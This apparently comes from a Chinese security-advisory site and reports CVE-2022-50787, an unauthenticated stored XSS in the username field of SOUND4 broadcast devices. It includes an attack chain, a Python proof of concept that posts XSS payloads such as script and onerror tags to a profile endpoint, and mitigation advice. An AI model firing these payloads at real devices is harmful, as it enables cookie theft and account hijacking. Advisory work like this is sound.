IPBUF安全漏洞报告
English
CVE-2022-50787 CVSS 7.2 高危

CVE-2022-50787 SOUND4 IMPACT/FIRST/PULSE/Eco 存储型XSS漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2022-50787
漏洞类型
存储型XSS
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SOUND4 IMPACT/FIRST/PULSE/Eco

相关标签

CVE-2022-50787存储型XSS跨站脚本攻击SOUND4IMPACTFIRSTPULSEEco高危漏洞未授权访问

漏洞概述

CVE-2022-50787是SOUND4公司生产的IMPACT、FIRST、PULSE和Eco系列广播设备软件版本2.x中存在的严重安全漏洞。该漏洞属于未认证的存储型跨站脚本攻击(Stored XSS),允许攻击者通过用户名参数注入恶意脚本代码。由于漏洞存在于服务端且被持久化存储,所有访问受影响页面的用户都会受到攻击。攻击者无需任何认证凭证即可利用此漏洞,通过在用户名字段中注入HTML或JavaScript代码,当其他用户查看相关页面时,恶意代码会在其浏览器中执行。这可能导致会话劫持、敏感信息窃取、恶意重定向或进一步的网络攻击。SOUND4是一家专注于广播和专业音频设备的厂商,其IMPACT/FIRST/PULSE/Eco系列产品广泛应用于广播电台、专业音频制作等领域。该漏洞的CVSS评分达到7.2,属于高危级别,CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N,表明攻击者可通过网络远程利用,无需特殊权限或用户交互即可实现攻击。

技术细节

该漏洞的根本原因在于SOUND4 IMPACT/FIRST/PULSE/Eco 2.x版本的应用服务器在处理用户名输入时缺乏适当的输入验证和输出编码。用户提供的用户名参数直接被存储到数据库中,并在后续的用户界面中未经充分过滤即被展示。当其他用户访问包含恶意用户名的页面时,浏览器会解析并执行注入的JavaScript代码。攻击者可以通过在用户名字段中插入<script>标签或使用事件处理器(如onerror、onload等)来执行恶意脚本。由于攻击代码被持久化存储在服务器端,这种攻击方式特别危险,因为它不仅影响当前访问的用户,还会影响所有后续访问该内容的用户。攻击者利用此漏洞可窃取用户会话cookies、实施钓鱼攻击、篡改页面内容或进行进一步的内网渗透。漏洞的利用无需任何认证,攻击者只需构造特定的HTTP请求即可将恶意代码注入系统。

攻击链分析

STEP 1
步骤1
攻击者识别目标SOUND4 IMPACT/FIRST/PULSE/Eco设备,确认其运行版本2.x
STEP 2
步骤2
攻击者构造恶意XSS payload(如<script>alert(document.cookie)</script>)
STEP 3
步骤3
攻击者通过HTTP请求向目标系统的用户名参数提交恶意payload,无需任何认证
STEP 4
步骤4
服务器端未对输入进行验证和过滤,直接将恶意代码存储到数据库
STEP 5
步骤5
当其他用户访问包含恶意用户名的页面时,浏览器解析并执行注入的JavaScript代码
STEP 6
步骤6
攻击者通过XSS成功窃取用户会话cookies、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2022-50787 PoC - Stored XSS in SOUND4 IMPACT/FIRST/PULSE/Eco # Target: SOUND4 devices running version 2.x target_url = "http://target-ip/api/user/profile" # Malicious payload for stored XSS xss_payload = '<script>alert(document.cookie)</script>' # Alternative payloads xss_payloads = [ '<img src=x onerror=alert(1)>', '<svg/onload=alert(document.domain)>', '<body onload=alert("XSS")>', '<iframe src="javascript:alert(\'XSS\')">' ] def exploit_stored_xss(target, payload): """Send XSS payload to username parameter""" headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0' } data = { 'username': payload, 'email': '[email protected]', 'action': 'update_profile' } try: response = requests.post(target, json=data, headers=headers, timeout=10) print(f"[*] Payload sent: {payload}") print(f"[*] Status: {response.status_code}") return response.status_code == 200 except Exception as e: print(f"[!] Error: {e}") return False def check_vulnerability(target): """Check if the target is vulnerable""" try: response = requests.get(target, timeout=10) if '<script>' in response.text or 'onerror=' in response.text: print("[+] Target appears to be vulnerable!") return True return False except: return False if __name__ == "__main__": print("CVE-2022-50787 SOUND4 Stored XSS Exploit") print("=" * 50) # Test with basic XSS payload exploit_stored_xss(target_url, xss_payload) # Check if vulnerable check_vulnerability(target_url)

影响范围

SOUND4 IMPACT 2.x
SOUND4 FIRST 2.x
SOUND4 PULSE 2.x
SOUND4 Eco 2.x

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 通过网络ACL限制对SOUND4设备管理界面的访问,仅允许受信任的IP地址访问;2) 禁用设备的远程管理功能,改为本地管理;3) 监控HTTP请求日志,检测可疑的XSS payload;4) 在反向代理层面实施输入过滤规则;5) 提醒用户不要点击来源不明的链接,定期更换密码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表